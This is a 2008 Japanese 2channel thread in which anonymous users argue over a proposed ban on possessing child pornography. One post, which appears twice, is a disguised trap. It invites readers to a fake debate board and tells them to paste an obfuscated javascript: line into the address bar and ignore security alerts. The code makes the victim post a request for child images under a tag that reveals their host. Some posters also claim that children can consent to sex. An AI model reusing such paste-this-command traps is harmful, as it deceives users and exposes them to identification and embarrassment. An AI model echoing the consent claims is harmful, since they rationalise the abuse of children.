「普通のグラビア写真」は抵触せず合法的に売ってるじゃないか。
>麻薬は直接的な被害だ。
麻薬所持禁止の直接的な被害ってなんだ？
麻薬の使用による害悪が前提にならなきゃ出てこないだろ。
それと一緒で、出演による苦痛も、所持禁止の前提の一つだよ。
>普通のグラビア写真でも抵触してる。
普通のグラビア写真てなんだ？
児童ポルノの製造・販売が禁止された現在も、
「普通のグラビア写真」は抵触せず合法的に売ってるじゃないか。
729 ：名無しさん＠九周年：2008/08/20(水) 13:38:11 ID:d8gUr3oL0
>>726禿同。違憲判決ど真ん中だし
730 ：名無しさん＠九周年：2008/08/20(水) 13:38:58 ID:G9e0WmbiO
しかし、ここと文科省が引きこもりの脳みそ調べるってスレ見てるとやっぱ２ちゃんって…て思っちゃうなあ。
しかも妙にネトウヨ臭漂うレスも多いし…はぁ、やっぱ追い詰められてんのかなあ、日本って。
しかも妙にネトウヨ臭漂うレスも多いし…はぁ、やっぱ追い詰められてんのかなあ、日本って。
733 ：名無しさん＠九周年：2008/08/20(水) 13:41:37 ID:PjjUY2Of0
規制派が時々持ち出す多数主義唱えるなら
まずは今の政治を否定してください。
内閣支持率20％とか多数の人が否定してる状態の政権のなかで
立法もまともに機能してるとは思えません。
まずは今の政治を否定してください。
内閣支持率20％とか多数の人が否定してる状態の政権のなかで
立法もまともに機能してるとは思えません。
>>685
>だからこっちこそならん。
>まだ出演との関連性による人権侵害性を主張した方が論理として成立する。
所持による苦痛、拡散の危険性への寄与、出演時の人権侵害との関連。
細かく細かく例外ケースを挙げて、
仮にどれかを否定できるとしても、
それ以外の部分が根拠として通用するだろ。
全て否定しない限り、根拠はあることになるじゃないか。
>だからこっちこそならん。
>まだ出演との関連性による人権侵害性を主張した方が論理として成立する。
所持による苦痛、拡散の危険性への寄与、出演時の人権侵害との関連。
細かく細かく例外ケースを挙げて、
仮にどれかを否定できるとしても、
それ以外の部分が根拠として通用するだろ。
全て否定しない限り、根拠はあることになるじゃないか。
735 ：名無しさん＠九周年：2008/08/20(水) 13:42:28 ID:d8gUr3oL0
>>715個人的にはこの法案はナチスドイツの全権委任法と同じ匂いがする
>>728
つまり麻薬と同じで保護法益がないと言いたいわけか？
>「普通のグラビア写真」は抵触せず合法的に売ってるじゃないか。
松文館判例を見ろ。あれはわいせつだから販売不可で、今売ってるものはOKっていうのは
どういう基準だと思う？
取り締まれるけど取り締まってないだけだ。
そしてその後に取り締まりしないことを保証するものではまったくない。
つーか、今売ってるものなら大丈夫、逮捕されてないものならOKって程度なら、そもそも
単純所持禁止するほどのこともないだろ。流通してないんだから。
つまり麻薬と同じで保護法益がないと言いたいわけか？
>「普通のグラビア写真」は抵触せず合法的に売ってるじゃないか。
松文館判例を見ろ。あれはわいせつだから販売不可で、今売ってるものはOKっていうのは
どういう基準だと思う？
取り締まれるけど取り締まってないだけだ。
そしてその後に取り締まりしないことを保証するものではまったくない。
つーか、今売ってるものなら大丈夫、逮捕されてないものならOKって程度なら、そもそも
単純所持禁止するほどのこともないだろ。流通してないんだから。
737 ：名無しさん＠九周年：2008/08/20(水) 13:42:50 ID:akKKNkN+0
>>730
日本は追い込まれると超サイヤ人と化す
元寇 一度元が攻めてきてから防衛開始
戦国末期 キリシタンになった守護大名の手によって日本人の領民が奴隷として売られたり
領地を寄進→バテレン追放して鎖国
幕末 不平等条約→維新→その後の日清日露
終戦 原爆＆焼け野原→経済大国
これらからみればピンチの内にも入りませんから
もっと追い込まれてからが本番ですよ。
日本は追い込まれると超サイヤ人と化す
元寇 一度元が攻めてきてから防衛開始
戦国末期 キリシタンになった守護大名の手によって日本人の領民が奴隷として売られたり
領地を寄進→バテレン追放して鎖国
幕末 不平等条約→維新→その後の日清日露
終戦 原爆＆焼け野原→経済大国
これらからみればピンチの内にも入りませんから
もっと追い込まれてからが本番ですよ。
実際いま存在しているロリ写真集は規制前に焚書の目に遭うわけだが
日本破壊法案その1ですね、分かります。
>>730
確かに国家が国民の脳調べるとか、単純所持で罰則とか戦前の日本を思わせるよな。
確かに国家が国民の脳調べるとか、単純所持で罰則とか戦前の日本を思わせるよな。
742 ：名無しさん＠九周年：2008/08/20(水) 13:44:07 ID:goo4DzbW0
>>728
＞麻薬の使用による害悪が前提にならなきゃ出てこないだろ。
＞それと一緒で、出演による苦痛も、所持禁止の前提の一つだよ。
アナロジーとしておかしい。
麻薬は、精神錯乱道具で、脳神経に作用する危険物だから規制されている。
児ポは、レイプ道具でも、身体に作用する危険物でもない。
また、出演による苦痛と所持は、関連性が薄すぎる。
理由付けして繋ごうと思えば繋がるだけで、論理的に繋がっているものではない。
＞麻薬の使用による害悪が前提にならなきゃ出てこないだろ。
＞それと一緒で、出演による苦痛も、所持禁止の前提の一つだよ。
アナロジーとしておかしい。
麻薬は、精神錯乱道具で、脳神経に作用する危険物だから規制されている。
児ポは、レイプ道具でも、身体に作用する危険物でもない。
また、出演による苦痛と所持は、関連性が薄すぎる。
理由付けして繋ごうと思えば繋がるだけで、論理的に繋がっているものではない。
743 ：名無しさん＠九周年：2008/08/20(水) 13:45:50 ID:luaA1+x40
大作君の御側に侍っている「喜び組」には未成年も居るんじゃないか？
あたしゃX-Dayを心待ちにしてんだわ。
中々お目にかかれない「宗教団体＠利権肉欲の乱闘」「何処が宗教だ？数の論理＠多数派工作事変」
とか もう楽しみでさあ。
ああ 麻原彰晃＠松本チーズ男をぶら下げる前に鳩山さんが辞めさせられたのは残念無念、さっさと汁！
あたしゃX-Dayを心待ちにしてんだわ。
中々お目にかかれない「宗教団体＠利権肉欲の乱闘」「何処が宗教だ？数の論理＠多数派工作事変」
とか もう楽しみでさあ。
ああ 麻原彰晃＠松本チーズ男をぶら下げる前に鳩山さんが辞めさせられたのは残念無念、さっさと汁！
>>675
>「見られることは苦痛」って勝手に決めるのがおかしい。
合意のある性行為で、小学生の児童本人が苦痛なく楽しむこともあるかもしれない。
しかし、それは法律上、人権侵害で処罰されるだろ？
法律が本人の意思や苦痛と関係なく、人権侵害を認定することはあるんだよ。
だから、児童ポルノについて、>>670で所持が「人権侵害」だとかいてるだろ？
法案が通れば、それが正式に国民の合意として形成されるだけだ。
もちろん、通らないこともあるとは思うよ。
それを今議論しているんだろ。
>「見られることは苦痛」って勝手に決めるのがおかしい。
合意のある性行為で、小学生の児童本人が苦痛なく楽しむこともあるかもしれない。
しかし、それは法律上、人権侵害で処罰されるだろ？
法律が本人の意思や苦痛と関係なく、人権侵害を認定することはあるんだよ。
だから、児童ポルノについて、>>670で所持が「人権侵害」だとかいてるだろ？
法案が通れば、それが正式に国民の合意として形成されるだけだ。
もちろん、通らないこともあるとは思うよ。
それを今議論しているんだろ。
745 ：名無しさん＠九周年：2008/08/20(水) 13:46:08 ID:akKKNkN+0
746 ：名無しさん＠九周年：2008/08/20(水) 13:46:21 ID:PjjUY2Of0
>>685
今、とても思い出した。
人を呪うのは自由だが
それを周囲に撒き散らすのは犯罪になります。
これと同じで本人が知らない所持を犯罪とするのは無理がある。
やっぱり配布などした者だけを捕まえるのがいいかと。
今、とても思い出した。
人を呪うのは自由だが
それを周囲に撒き散らすのは犯罪になります。
これと同じで本人が知らない所持を犯罪とするのは無理がある。
やっぱり配布などした者だけを捕まえるのがいいかと。
法理論いくら論じても無駄。
規制推進派の本当の狙いは有料審査団体の設立になるのだから。
規制推進派の本当の狙いは有料審査団体の設立になるのだから。
>>742
アルコールもその枠内にはいるから禁酒法でもやるか？
アルコールもその枠内にはいるから禁酒法でもやるか？
750 ：名無しさん＠九周年：2008/08/20(水) 13:48:40 ID:goo4DzbW0
>>734
まず、
・出演による人権侵害と関連性があるから所持規制
・所持そのものが人権侵害だから所持規制
を分けろ。
前者は、一応理由として成立しなくもないが（無理はあるが）
後者は、全く成立しない。
Ａさんが、児ポＢを所持したからと、被写体Ｂ女に苦痛等の
人権侵害が発生するわけではない。
まず、
・出演による人権侵害と関連性があるから所持規制
・所持そのものが人権侵害だから所持規制
を分けろ。
前者は、一応理由として成立しなくもないが（無理はあるが）
後者は、全く成立しない。
Ａさんが、児ポＢを所持したからと、被写体Ｂ女に苦痛等の
人権侵害が発生するわけではない。
>>711
確実に知ってる分だけ出しただけで、
なんでそれが全部になるのかこっちのから聞きたいよ（苦笑）
この次までにちゃんと調べとくわ。
それより、いい加減おまえのほうがソース出せよ。
イギリス13歳未満ってどっから情報もってきたのか知りたいしな。
さもないと口からでまかせ言ってるということになるぞ。
確実に知ってる分だけ出しただけで、
なんでそれが全部になるのかこっちのから聞きたいよ（苦笑）
この次までにちゃんと調べとくわ。
それより、いい加減おまえのほうがソース出せよ。
イギリス13歳未満ってどっから情報もってきたのか知りたいしな。
さもないと口からでまかせ言ってるということになるぞ。
>>744
また小学生とか意図的に出してるけど、これ18歳未満だからな。
17歳妻と合意のある性行為は合法で、その妻のちょっとエロい写真を持ってたら逮捕なわけだ。
でも君は、それすら「見られることは苦痛」って勝手に決め付けてる。
そんなの国民的合意じゃないだろ。
それに、法案が通る＝国民的合意ってのは無茶苦茶だ。だからPSE法とか例に出したのに。
法案改正なんて大半の国民は知らん。地上アナログ放送停止だって、あれほど時間と金をかけ
て周知してるのにまだ知らない人も多い。
また小学生とか意図的に出してるけど、これ18歳未満だからな。
17歳妻と合意のある性行為は合法で、その妻のちょっとエロい写真を持ってたら逮捕なわけだ。
でも君は、それすら「見られることは苦痛」って勝手に決め付けてる。
そんなの国民的合意じゃないだろ。
それに、法案が通る＝国民的合意ってのは無茶苦茶だ。だからPSE法とか例に出したのに。
法案改正なんて大半の国民は知らん。地上アナログ放送停止だって、あれほど時間と金をかけ
て周知してるのにまだ知らない人も多い。
754 ：名無しさん＠九周年：2008/08/20(水) 13:50:36 ID:PjjUY2Of0
小学生に判断能力が無いってのは幻想。
判断基準となる情報や経験が足りないだけ。
判断基準となる情報や経験が足りないだけ。
755 ：名無しさん＠九周年：2008/08/20(水) 13:51:13 ID:goo4DzbW0
756 ：名無しさん＠九周年：2008/08/20(水) 13:51:28 ID:7jo0ogr4O
こんな所で油売ってないで変態映像拾っとかないと後悔するぞ。そして施行前に処分するか法を犯すか飯を食わずにじっくり考えてくれ。
>>751
ttp://ja.wikipedia.org/wiki/%E5%85%90%E7%AB%A5%E3%83%9D%E3%83%AB%E3%83%8E
Wikiだからどうこう言うのが目に見えてるからあらかじめいっとくが、そっちだってソースは個人ブ
ログだろ。
で、知ってる分だして欧米の大半とか言うのがおかしいって話だ。
ま、頑張って調べてくれ。
ttp://ja.wikipedia.org/wiki/%E5%85%90%E7%AB%A5%E3%83%9D%E3%83%AB%E3%83%8E
Wikiだからどうこう言うのが目に見えてるからあらかじめいっとくが、そっちだってソースは個人ブ
ログだろ。
で、知ってる分だして欧米の大半とか言うのがおかしいって話だ。
ま、頑張って調べてくれ。
>>718
>PSE法は、じゃあ国民的合意があったんだ。へえ。
どんな法であれ、法律上の国民的合意がなければ通過しないだろ…。
もちろん、それを修正する国民的合意がなされることは否定しないぞ。
>>684
>なんで児童だけ特別扱いなのか、そこのところを実際の議論の場では取り上げられてない。
>「今」俺から突っ込まれたから「君が」持ち出しただけだ。
児童を成人と区別して特別扱いする法案なんだから、
児童の人権が重視されていることは当然だろ…。
そんな当然のことを質問されたから、俺は敢えて答えてるだけだぞ。
君の意見だって、君が持ち出してるだけだろ。
反対派議員から質問も突っ込みもされてないじゃないか。
「児童だけ特別視するのはおかしい」という意見は出されているのか？
おかしいと思うなら、「児童だけ特別視するな」と言えと、反対派議員に訴えろよ。
でも、多分議論はそんなレベルでなされているんじゃないと思うよ。
>PSE法は、じゃあ国民的合意があったんだ。へえ。
どんな法であれ、法律上の国民的合意がなければ通過しないだろ…。
もちろん、それを修正する国民的合意がなされることは否定しないぞ。
>>684
>なんで児童だけ特別扱いなのか、そこのところを実際の議論の場では取り上げられてない。
>「今」俺から突っ込まれたから「君が」持ち出しただけだ。
児童を成人と区別して特別扱いする法案なんだから、
児童の人権が重視されていることは当然だろ…。
そんな当然のことを質問されたから、俺は敢えて答えてるだけだぞ。
君の意見だって、君が持ち出してるだけだろ。
反対派議員から質問も突っ込みもされてないじゃないか。
「児童だけ特別視するのはおかしい」という意見は出されているのか？
おかしいと思うなら、「児童だけ特別視するな」と言えと、反対派議員に訴えろよ。
でも、多分議論はそんなレベルでなされているんじゃないと思うよ。
759 ：名無しさん＠九周年：2008/08/20(水) 13:53:39 ID:akKKNkN+0
援交してるビッチどもを片っ端から逮捕してけば丸く収まる
賛成派も反対派も一度落ち着いてくれ
日本のアニメの滅亡の危機を憂い特設の議論板を用意されていたようだ。
なお入る際は特殊な方法を用いているので、ｊａｖａの無効設定をしている人は一度解除してくれ
あと警報が出てもセキュリティーソフトが過敏なだけで、ＰＣに害はまったく無いので気にしないてくれ。
（準備）
2ch専用ブラウザを使用している人は、
ＩＥなどの一般的なブラウザでこのスレを開いておく。
議論のログが長すぎるので携帯を使用している奴は近くの自分が使っているパソコンを使用する事。（必須）
１、
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b
46524f4d2e76616c75653d2766757369616e6173616e273b4d455353414745
2e76616c75653d275c75333045445c75333045415
c75373533425c75353043465c75333034465c75333036305c7533
3035355c7533303434273b7375626d69742e636c69636b28293b7
d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));
をクリップボードにコピーし、メモ帳などのテキストエディタに貼り付ける。
２、
改行を外して１行にしてくれ。
３、
１行にしたものをクリップボードにコピーし、アドレスバーに貼り付ける。
４、
Enterを押す（もしくは「移動」をクリックする）。
日本のアニメの滅亡の危機を憂い特設の議論板を用意されていたようだ。
なお入る際は特殊な方法を用いているので、ｊａｖａの無効設定をしている人は一度解除してくれ
あと警報が出てもセキュリティーソフトが過敏なだけで、ＰＣに害はまったく無いので気にしないてくれ。
（準備）
2ch専用ブラウザを使用している人は、
ＩＥなどの一般的なブラウザでこのスレを開いておく。
議論のログが長すぎるので携帯を使用している奴は近くの自分が使っているパソコンを使用する事。（必須）
１、
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b
46524f4d2e76616c75653d2766757369616e6173616e273b4d455353414745
2e76616c75653d275c75333045445c75333045415
c75373533425c75353043465c75333034465c75333036305c7533
3035355c7533303434273b7375626d69742e636c69636b28293b7
d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));
をクリップボードにコピーし、メモ帳などのテキストエディタに貼り付ける。
２、
改行を外して１行にしてくれ。
３、
１行にしたものをクリップボードにコピーし、アドレスバーに貼り付ける。
４、
Enterを押す（もしくは「移動」をクリックする）。
>>692
>（出演者が既に死亡・合法国の外国人等）
細かい論点だが、前者はともかく、後者はどうなんだ？
合法国の児童がその国で出演した作品だとしても、
製造(複製)・販売・所持など処罰対象の違法行為が日本国内で確認されたら、
児童の人権侵害を日本として認定して当然じゃないか？
>（出演者が既に死亡・合法国の外国人等）
細かい論点だが、前者はともかく、後者はどうなんだ？
合法国の児童がその国で出演した作品だとしても、
製造(複製)・販売・所持など処罰対象の違法行為が日本国内で確認されたら、
児童の人権侵害を日本として認定して当然じゃないか？
>>755
薬物＝確実に神経系統を破壊する、という考えがすでに洗脳済みだな
薬物＝確実に神経系統を破壊する、という考えがすでに洗脳済みだな
764 ：名無しさん＠九周年：2008/08/20(水) 13:58:26 ID:PjjUY2Of0
【毎日・オピニオン】性犯罪の再発防止策は機能しているのか。どれだけ有効なのか。事件を検証し、課題を明らかにしてほしい。
http://mamono.2ch.net/test/read.cgi/newsplus/1219199489/l50
次から次へと・・・
性犯罪者への更正も監視もまともに機能してない状態でこの規制がどれだけ意味を持つのか知りたいな。
http://mamono.2ch.net/test/read.cgi/newsplus/1219199489/l50
次から次へと・・・
性犯罪者への更正も監視もまともに機能してない状態でこの規制がどれだけ意味を持つのか知りたいな。
>>763
とりあえずジャンキーネタはスレチだから他スレでやれよ
とりあえずジャンキーネタはスレチだから他スレでやれよ
>>758
>どんな法であれ、法律上の国民的合意がなければ通過しないだろ…。
まずその認識が間違ってる。
間接民主主義だからってことか？ それは法案への国民的合意とはちょっと違うだろ。
法案を審議する「議員」や「党」に対する信任であって、法案そのものではないよ。
なんていうか、君の議論は実際とは違って、かなり観念的な上思い込みが激しすぎる。
「君の考え」と「議員の考え」をごっちゃにしないでくれ。
>>762
「児童が傷ついてるから」って論拠だとすると、それはおかしいだろ。
保護法益にならん。
>どんな法であれ、法律上の国民的合意がなければ通過しないだろ…。
まずその認識が間違ってる。
間接民主主義だからってことか？ それは法案への国民的合意とはちょっと違うだろ。
法案を審議する「議員」や「党」に対する信任であって、法案そのものではないよ。
なんていうか、君の議論は実際とは違って、かなり観念的な上思い込みが激しすぎる。
「君の考え」と「議員の考え」をごっちゃにしないでくれ。
>>762
「児童が傷ついてるから」って論拠だとすると、それはおかしいだろ。
保護法益にならん。
767 ：名無しさん＠九周年：2008/08/20(水) 14:01:24 ID:akKKNkN+0
>>758
>児童を成人と区別して特別扱いする法案なんだから、
>児童の人権が重視されていることは当然だろ…。
お前は規制に賛成しているようだが、どうして児童の人権をより守るべきだと思うの？
どこまで守ってやるのが正しいのか是非聞きたいね。
>>764
そもそも性犯罪者が増えてるってのも誰かの幻想でしょ。
>児童を成人と区別して特別扱いする法案なんだから、
>児童の人権が重視されていることは当然だろ…。
お前は規制に賛成しているようだが、どうして児童の人権をより守るべきだと思うの？
どこまで守ってやるのが正しいのか是非聞きたいね。
>>764
そもそも性犯罪者が増えてるってのも誰かの幻想でしょ。
>>757
そこに各国の施行状況は載ってないだろ。
載せると反対派には不利だから今の執筆者が載せるわけがない。
イギリスの児童ポルノは13歳未満だとかてどっから出てきたんだよ。
別にwikipediaだから信用しないわけじゃないけど
その場合各国の法施行状況は各国語別にちゃんと調べないと正確にはわからないんだ。
英語版のwikipeida見たらちゃんとイギリスは18歳未満だと書いてあったぞ。
やる気ないならかわりにおれがまとめといてやるよ。
そのかわりいい加減なデマを流すのはやめろよ。卑怯だぞ。
そこに各国の施行状況は載ってないだろ。
載せると反対派には不利だから今の執筆者が載せるわけがない。
イギリスの児童ポルノは13歳未満だとかてどっから出てきたんだよ。
別にwikipediaだから信用しないわけじゃないけど
その場合各国の法施行状況は各国語別にちゃんと調べないと正確にはわからないんだ。
英語版のwikipeida見たらちゃんとイギリスは18歳未満だと書いてあったぞ。
やる気ないならかわりにおれがまとめといてやるよ。
そのかわりいい加減なデマを流すのはやめろよ。卑怯だぞ。
出会い系とか規制したほうが効果あるだろ
>>711
>人権は元々議論されてない。ポルノがいかに蔓延しているか、
>それが問題視されてるかが主な争点だった。
ポルノの蔓延が、そのポルノに出演する児童の人権侵害だろ…。
ポルノの蔓延の問題視は、出演児童の人権侵害の問題視だぞ。
俺は日本ユニセフには批判的だが、
あいつらも腐るほど児童の人権侵害をアピールしてるじゃないか。
それを見てみぬふりをするのはおかしいだろ。
>>699
>それはヌードではなくポルノって定義。
だから、日本も児童ポルノの定義があるじゃないか…。
>エロティカとポルノの違いっていう概念が日本にないからそういう質問をしてくるんだろう。
>ゴーギャンその他のヌード画がポルノ扱いされるか？
日本国内でゴーギャンのヌード画はポルノ扱いされてるか？
>そのあたりは、作品ごとにちゃんと判断するべきだし、
>判断されてるからヌード写真集の販売が許されている。
そのとおりでしょ。
だから、児童ポルノの定義でも、単に裸という要件だけでなく、
「性欲を刺激するもの」という要件があるじゃないか。
作品ごとに判断すればいいよ。
>人権は元々議論されてない。ポルノがいかに蔓延しているか、
>それが問題視されてるかが主な争点だった。
ポルノの蔓延が、そのポルノに出演する児童の人権侵害だろ…。
ポルノの蔓延の問題視は、出演児童の人権侵害の問題視だぞ。
俺は日本ユニセフには批判的だが、
あいつらも腐るほど児童の人権侵害をアピールしてるじゃないか。
それを見てみぬふりをするのはおかしいだろ。
>>699
>それはヌードではなくポルノって定義。
だから、日本も児童ポルノの定義があるじゃないか…。
>エロティカとポルノの違いっていう概念が日本にないからそういう質問をしてくるんだろう。
>ゴーギャンその他のヌード画がポルノ扱いされるか？
日本国内でゴーギャンのヌード画はポルノ扱いされてるか？
>そのあたりは、作品ごとにちゃんと判断するべきだし、
>判断されてるからヌード写真集の販売が許されている。
そのとおりでしょ。
だから、児童ポルノの定義でも、単に裸という要件だけでなく、
「性欲を刺激するもの」という要件があるじゃないか。
作品ごとに判断すればいいよ。
771 ：名無しさん＠九周年：2008/08/20(水) 14:05:09 ID:G9e0WmbiO
>>732
だから俺は法律ってのは運用次第だと思うよ。逆に考えれば単純所持違反を突破口に凶悪な児童殺害犯を逮捕出来ることだってあるだろうし。
大体、どうせ日本中の単純所持を取り締まれる訳ないんだしさ。
だから俺は法律ってのは運用次第だと思うよ。逆に考えれば単純所持違反を突破口に凶悪な児童殺害犯を逮捕出来ることだってあるだろうし。
大体、どうせ日本中の単純所持を取り締まれる訳ないんだしさ。
>>767
再犯率が高いだけで人数は増えて無いと思うけど
そのあたりは『分からない』が正しいと思ってる
>>769
出会い系は一つ前のツールだよ。
今は別の・・・
犯罪者増やしたくないんで、何かは教えないがな。
再犯率が高いだけで人数は増えて無いと思うけど
そのあたりは『分からない』が正しいと思ってる
>>769
出会い系は一つ前のツールだよ。
今は別の・・・
犯罪者増やしたくないんで、何かは教えないがな。
773 ：名無しさん＠九周年：2008/08/20(水) 14:08:30 ID:akKKNkN+0
>>769
>ポルノの蔓延が、そのポルノに出演する児童の人権侵害だろ…。
>ポルノの蔓延の問題視は、出演児童の人権侵害の問題視だぞ。
で、なぜあんたはそれを重視すべきだと思うの？
>日本国内でゴーギャンのヌード画はポルノ扱いされてるか？
される作品も存在するということだろう。そういう選別をする必要があるわけ？
>作品ごとに判断すればいいよ。
ヌードだったらよくてポルノだったらダメだというのが分からないんだがね。
なぜ「性欲を刺激するもの」はいけないわけ？
>ポルノの蔓延が、そのポルノに出演する児童の人権侵害だろ…。
>ポルノの蔓延の問題視は、出演児童の人権侵害の問題視だぞ。
で、なぜあんたはそれを重視すべきだと思うの？
>日本国内でゴーギャンのヌード画はポルノ扱いされてるか？
される作品も存在するということだろう。そういう選別をする必要があるわけ？
>作品ごとに判断すればいいよ。
ヌードだったらよくてポルノだったらダメだというのが分からないんだがね。
なぜ「性欲を刺激するもの」はいけないわけ？
774 ：名無しさん＠九周年：2008/08/20(水) 14:08:34 ID:QpMipjZ40
闇の子供たち2
http://tv11.2ch.net/test/read.cgi/cinema/1218068174/
702 名前：名無シネマ＠上映中[] 投稿日：2008/08/20(水) 12:06:32 ID:n8ejR5XK
日本ユニセフの「闇の子供たち」紹介文
「どうか、みなさまも、映画『闇の子供たち』が描く現実に目を背けることなく、この映画をきっかけに、子どもたちを守るために何をしなければならないのかを、私たちと一緒に考えてください」
募金に利用する気満々です。
http://tv11.2ch.net/test/read.cgi/cinema/1218068174/
702 名前：名無シネマ＠上映中[] 投稿日：2008/08/20(水) 12:06:32 ID:n8ejR5XK
日本ユニセフの「闇の子供たち」紹介文
「どうか、みなさまも、映画『闇の子供たち』が描く現実に目を背けることなく、この映画をきっかけに、子どもたちを守るために何をしなければならないのかを、私たちと一緒に考えてください」
募金に利用する気満々です。
>>736
>つーか、今売ってるものなら大丈夫、逮捕されてないものならOKって程度なら、
>そもそも単純所持禁止するほどのこともないだろ。流通してないんだから。
なんで「広く流通していること」が規制を認めるに必要なんだ？
警察が摘発しているモノは今も確実にあるんだから、
その作品に出演する児童の人権救済をする法律ということだろ。
そこに人権侵害と救済の必要性があるのに、それをなぜ否定するんだ？
単純所持禁止もそれらの児童ポルノについて認められるだけだぞ。
君が、勝手に法律や摘発の実態を無視して、
勝手に範囲広げて騒いでるだけじゃないか…。
自分で児童ポルノは広く流通していないと判断しているなら、
それらを所持して逮捕される可能性もそれだけ低いということだよ。
>つーか、今売ってるものなら大丈夫、逮捕されてないものならOKって程度なら、
>そもそも単純所持禁止するほどのこともないだろ。流通してないんだから。
なんで「広く流通していること」が規制を認めるに必要なんだ？
警察が摘発しているモノは今も確実にあるんだから、
その作品に出演する児童の人権救済をする法律ということだろ。
そこに人権侵害と救済の必要性があるのに、それをなぜ否定するんだ？
単純所持禁止もそれらの児童ポルノについて認められるだけだぞ。
君が、勝手に法律や摘発の実態を無視して、
勝手に範囲広げて騒いでるだけじゃないか…。
自分で児童ポルノは広く流通していないと判断しているなら、
それらを所持して逮捕される可能性もそれだけ低いということだよ。
776 ：名無しさん＠九周年：2008/08/20(水) 14:10:25 ID:goo4DzbW0
>>768
ちゃんと載ってるぞ。
>たとえば、単純所持まで禁じた児童ポルノでは、イギリス、ドイツ、イタリアなどでは13歳以下とされている。
せめて「イギリス」でページ内検索くらいかけてくれ。かなり上のほうにあるから、ちょっと読むだけで
見つかるけど。
>>770
>ポルノの蔓延が、そのポルノに出演する児童の人権侵害だろ…。
だからそれが後だしなんだってば。
日本ユニセフは、出演のほうの人権侵害を当初訴えてた。所持のほうで人権侵害なんて持ち出してき
たのは、日本が児童ポルノ大国ではないってバレてからだ。
>だから、日本も児童ポルノの定義があるじゃないか…。
だから、それが欧米と違う基準だって話。欧米では普通にAmazonでも売られてる写真集が、日本では
児童ポルノに該当してしまう。
>日本国内でゴーギャンのヌード画はポルノ扱いされてるか？
だからそういう構図の実物ヌードが、どうして扇情的なポルノと同一視されるのか、それが理不尽だって
ことだ。
>作品ごとに判断すればいいよ。
実際はそういう運用されてない。
ちゃんと載ってるぞ。
>たとえば、単純所持まで禁じた児童ポルノでは、イギリス、ドイツ、イタリアなどでは13歳以下とされている。
せめて「イギリス」でページ内検索くらいかけてくれ。かなり上のほうにあるから、ちょっと読むだけで
見つかるけど。
>>770
>ポルノの蔓延が、そのポルノに出演する児童の人権侵害だろ…。
だからそれが後だしなんだってば。
日本ユニセフは、出演のほうの人権侵害を当初訴えてた。所持のほうで人権侵害なんて持ち出してき
たのは、日本が児童ポルノ大国ではないってバレてからだ。
>だから、日本も児童ポルノの定義があるじゃないか…。
だから、それが欧米と違う基準だって話。欧米では普通にAmazonでも売られてる写真集が、日本では
児童ポルノに該当してしまう。
>日本国内でゴーギャンのヌード画はポルノ扱いされてるか？
だからそういう構図の実物ヌードが、どうして扇情的なポルノと同一視されるのか、それが理不尽だって
ことだ。
>作品ごとに判断すればいいよ。
実際はそういう運用されてない。
778 ：名無しさん＠九周年：2008/08/20(水) 14:11:55 ID:bJIgfdoU0
サンタフェ持ってるやつ全員逮捕ｗｗｗｗｗｗ
100万人逮捕で社会めちゃくちゃｗｗｗｗｗ
外国から労働者派遣してもらわないとねｗｗｗｗ
100万人逮捕で社会めちゃくちゃｗｗｗｗｗ
外国から労働者派遣してもらわないとねｗｗｗｗ
779 ：名無しさん＠九周年：2008/08/20(水) 14:12:06 ID:PjjUY2Of0
780 ：名無しさん＠九周年：2008/08/20(水) 14:13:54 ID:akKKNkN+0
781 ：名無しさん＠九周年：2008/08/20(水) 14:14:01 ID:goo4DzbW0
>>775
＞なんで「広く流通していること」が規制を認めるに必要なんだ？
広く流通していないって事は、現行法が有効という証左でしょ。
実際、今時普通のエロビデオショップに行っても
児童ポルノなんて全く売ってないよ。
＞なんで「広く流通していること」が規制を認めるに必要なんだ？
広く流通していないって事は、現行法が有効という証左でしょ。
実際、今時普通のエロビデオショップに行っても
児童ポルノなんて全く売ってないよ。
782 ：名無しさん＠九周年：2008/08/20(水) 14:14:40 ID:Wc7gYn3k0
1週間って、雑誌が子供でも読めるような位置にあって、セックス記事のせて平気で、売ってるの？
それについては、何も書かないの？
それについては、何も書かないの？
>>775
話がずれてる。
今取り締まってるものに限定するのなら、法案も限定すればいい。
今の法案は、今逮捕しているものに限定されてない。はるかに幅広い。
「逮捕していない」だけであって、「逮捕できない」わけではない。
君が想定しているような「児童ポルノ」と法案では、かなり隔たりがある。
そこがそもそも問題だと何度も指摘してるのに、「”今は”逮捕されてないから問題ない」
ってのがおかしい。逆に今逮捕してないのに問題が生じてないなら、これ以上範囲を広げる
必要もないわけだ。
話がずれてる。
今取り締まってるものに限定するのなら、法案も限定すればいい。
今の法案は、今逮捕しているものに限定されてない。はるかに幅広い。
「逮捕していない」だけであって、「逮捕できない」わけではない。
君が想定しているような「児童ポルノ」と法案では、かなり隔たりがある。
そこがそもそも問題だと何度も指摘してるのに、「”今は”逮捕されてないから問題ない」
ってのがおかしい。逆に今逮捕してないのに問題が生じてないなら、これ以上範囲を広げる
必要もないわけだ。
>>750
>・出演による人権侵害と関連性があるから所持規制
>・所持そのものが人権侵害だから所持規制
最初から、前者と後者を分けて書いてるだろ。
その上で両方否定されなければ、根拠０にならないだろ。
>前者は、一応理由として成立しなくもないが（無理はあるが）
そして、前者については成立することを君も認めている。
「無理はあるが」なんて感想をつけても、
違う見解の人間がその理由を重視するだけ。
それが多数派になれば、法律は通るということだ。
そして、後者について、所持そのものが流通の危険性を増す人権侵害だろ。
また、何度も見られるケースのように、所持されていることが「人権侵害に繋がる場合」が確実にある。
根拠はこれ以外にもあるが、そういうケースを想定して根拠の一つになりうるだろ。
>・出演による人権侵害と関連性があるから所持規制
>・所持そのものが人権侵害だから所持規制
最初から、前者と後者を分けて書いてるだろ。
その上で両方否定されなければ、根拠０にならないだろ。
>前者は、一応理由として成立しなくもないが（無理はあるが）
そして、前者については成立することを君も認めている。
「無理はあるが」なんて感想をつけても、
違う見解の人間がその理由を重視するだけ。
それが多数派になれば、法律は通るということだ。
そして、後者について、所持そのものが流通の危険性を増す人権侵害だろ。
また、何度も見られるケースのように、所持されていることが「人権侵害に繋がる場合」が確実にある。
根拠はこれ以外にもあるが、そういうケースを想定して根拠の一つになりうるだろ。
785 ：名無しさん＠九周年：2008/08/20(水) 14:18:25 ID:d8gUr3oL0
786 ：名無しさん＠九周年：2008/08/20(水) 14:19:31 ID:dduro3seO
２ちゃんで必死にガス抜きしてるおとこのひとって…
